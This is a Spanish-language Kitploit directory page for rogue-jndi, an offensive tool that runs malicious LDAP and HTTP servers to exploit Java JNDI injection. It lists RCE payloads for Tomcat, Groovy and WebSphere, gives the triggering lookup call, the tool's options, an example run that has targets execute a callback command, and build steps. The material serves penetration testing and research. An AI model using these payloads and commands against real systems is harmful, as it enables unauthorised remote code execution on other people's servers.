Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rogue-jndi — Un servidor LDAP malicioso para ataques de inyección JNDI | Kitploit
Herramientas/GitHubGitHub/veracode-research/rogue-jndi
ExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubveracode-research/rogue-jndi

rogue-jndi

Un servidor LDAP malicioso para ataques de inyección JNDI

Ver Repositorio
1.1k227hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Rogue JNDI

Un servidor LDAP malicioso para ataques de inyección JNDI.

Descripción

El proyecto contiene servidores LDAP y HTTP para explotar la API Java JNDI insegura por defecto.
Para realizar un ataque, puedes iniciar estos servidores localmente y luego provocar una resolución JNDI en el cliente vulnerable, p. ej.:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Se iniciará una conexión desde el cliente vulnerable hasta el servidor LDAP local. A continuación, el servidor local responde con una entrada maliciosa que contiene uno de los payloads, lo que puede ser útil para lograr una Ejecución Remota de Código.

Motivación

Además de los métodos de ataque JNDI conocidos (mediante carga de clases remota en referencias), esta herramienta aporta nuevos vectores de ataque aprovechando el poder de ObjectFactories.

Payloads compatibles

  • RemoteReference.java - ataque JNDI clásico, produce RCE mediante carga de clases remota, funciona hasta jdk8u191
  • Tomcat.java - produce RCE mediante reflexión insegura en org.apache.naming.factory.BeanFactory
  • Groovy.java - produce RCE mediante reflexión insegura en org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - produce XXE OOB en com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - produce RCE mediante manipulación del classpath en com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Uso

root@kitploit:~
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

Los parámetros más importantes son el hostname del servidor LDAP (-n, debe ser accesible desde el objetivo) y el comando que quieres ejecutar en el servidor objetivo (-c).

Como alternativa a la opción "-c", puedes modificar el archivo ExportObject.java incluyendo el código Java que quieras ejecutar en el servidor objetivo.

Ejemplo:

root@kitploit:~
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Compilación

Se requiere Java v1.7+ y Maven v3+

root@kitploit:~
mvn package

Descargo de responsabilidad

Este software se proporciona únicamente con fines educativos y/o para probar sistemas para los que el usuario tiene permiso previo para atacar.

Agradecimientos especiales

  • Alvaro Muñoz y Oleksandr Mirosh por el excelente whitepaper sobre ataques JNDI
  • @zerothoughts por el inspirador repositorio spring-jndi
  • Moritz Bechler por la eminente investigación marshallsec
  • Orange Tsai y Welk1n por el gadget Apache + Groovy

Enlaces

  • Un artículo sobre Explotando inyecciones JNDI en Java en el blog de Veracode
  • Cómo hackeé Facebook de nuevo! RCE no autenticado en MobileIron MDM

Autores

Michael Stepankin

Descargar herramienta